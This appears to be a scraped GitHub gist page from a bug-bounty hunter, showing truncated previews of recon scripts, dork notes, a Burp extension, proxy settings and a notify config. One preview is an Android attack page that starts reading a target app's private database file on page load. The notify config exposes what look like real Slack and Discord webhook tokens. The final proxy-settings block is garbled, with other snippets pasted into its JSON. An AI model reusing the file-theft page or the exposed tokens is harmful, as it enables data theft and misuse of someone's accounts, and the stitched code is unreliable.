bala manohar surya sai balook

## jwt header update.py
import json
import sys
from java.io import PrintWriter
from burp import IBurpExtender
from burp import IHttpRequestResponse
from burp import IHttpService
from burp import ISessionHandlingAction
import re

#Regex for extracting value of the token from the HTML Body

## Keybase.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                balook
                / Keybase.md
            
            
              Created
              July 18, 2021 02:33
            
          
    Keybase proof

I hereby claim:

I am balook on github.
I am balook (https://keybase.io/balook) on keybase.
I have a public key ASDoqBsHBUtytqNwL0Zq3T_4OJKk3B9w19MieIRkvkLc0Qo

To claim this, I am signing this object:

  
## notify.txt
burp_biid: "123456798"

slack_webhook_url: https://hooks.slack.com/services/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
slack_username: prob
slack_channel: alert
slack: true


discord_webhook_url: https://discord.com/api/webhooks/763657778480414721/lZyZIbTFP9ZtL_0nPrUS9fGtsf-D4xPgCv_ESp4Olv4jMrCjv3YS608WIPJHxh-sxc8F
discord_username: fucker

## android-js.html
<html>
<body onload="doAttack()">
<h1>Attack</h1>
<script>
// file path to steal
var target "file:///data/data/com.target.app/databases/target.db";
=
// get the contents of the target file by XHR
function doAttack() {
var xhr1 = new XMLHttpRequest();

## github-notes.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                balook
                / github-notes.md
            
            
              Last active
              March 27, 2020 16:23
            
              
                github-notes
              
          
    github dorks Notes

Dorks list from gentelman Recon

zseano dorks

 "Comapany" [keyword] => /api, /internal/api, stag, swagger,dev,corp, apikey

 "company" path:/api
 "company" extension:php


## google-scope.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                balook
                / google-scope.md
            
            
              Last active
              March 27, 2020 14:45
            
              
                google scope data
              
          
    Google bugbounty Scope data

sandbox domains google
google scope to check info ppt

  
## testing.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                balook
                / testing.md
            
            
              Last active
              March 13, 2020 16:55
            
              
                full of jokes
              
          
    Scrapy commands & code


This goes with the Traversy Media Scrapy tutorial on YouTube

Download Kite
Setup

pip install scrapy


## small-recon
#! /bin/bash
findomain -t $1 -q | tee $1.txt

subfinder -d $1 -silent | tee -a $1.txt

#crtsh

crtsh(){
curl -s https://crt.sh/?q\=%.$1\&output\=json | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
}

## small-recon
#! /bin/bash
findomain -t $1 -q | tee $1.txt

subfinder -d $1 -silent | tee -a $1.txt

#crtsh

crtsh(){
curl -s https://crt.sh/?q\=%.$1\&output\=json | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
}

## foxy-proxy-pattern-settings
{
  "import-2431382345": {
    "title": "Burp_suite",
    "type": 1,
    "color": "#130001",
    "address": "127.0.0.1",
    "port": 8080,
    "active": true,
    "whitePatterns": [
      {
	burp_biid: "123456798"

	slack_webhook_url: https://hooks.slack.com/services/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
	slack_username: prob
	slack_channel: alert
	slack: true


	discord_webhook_url: https://discord.com/api/webhooks/763657778480414721/lZyZIbTFP9ZtL_0nPrUS9fGtsf-D4xPgCv_ESp4Olv4jMrCjv3YS608WIPJHxh-sxc8F
	discord_username: fucker
	<html>
	<body onload="doAttack()">
	<h1>Attack</h1>
	<script>
	// file path to steal
	var target "file:///data/data/com.target.app/databases/target.db";
	=
	// get the contents of the target file by XHR
	function doAttack() {
	var xhr1 = new XMLHttpRequest();
	#! /bin/bash
	findomain -t $1 -q \| tee $1.txt

	subfinder -d $1 -silent \| tee -a $1.txt

	#crtsh

	crtsh(){
	curl -s https://crt.sh/?q\=%.$1\&output\=json \| jq -r '.[].name_value' \| sed 's/\*\.//g' \| sort -u
	}
	{
	"import-2431382345": {
	"title": "Burp_suite",
	"type": 1,
	"color": "#130001",
	"address": "127.0.0.1",
	"port": 8080,
	"active": true,
	"whitePatterns": [
	{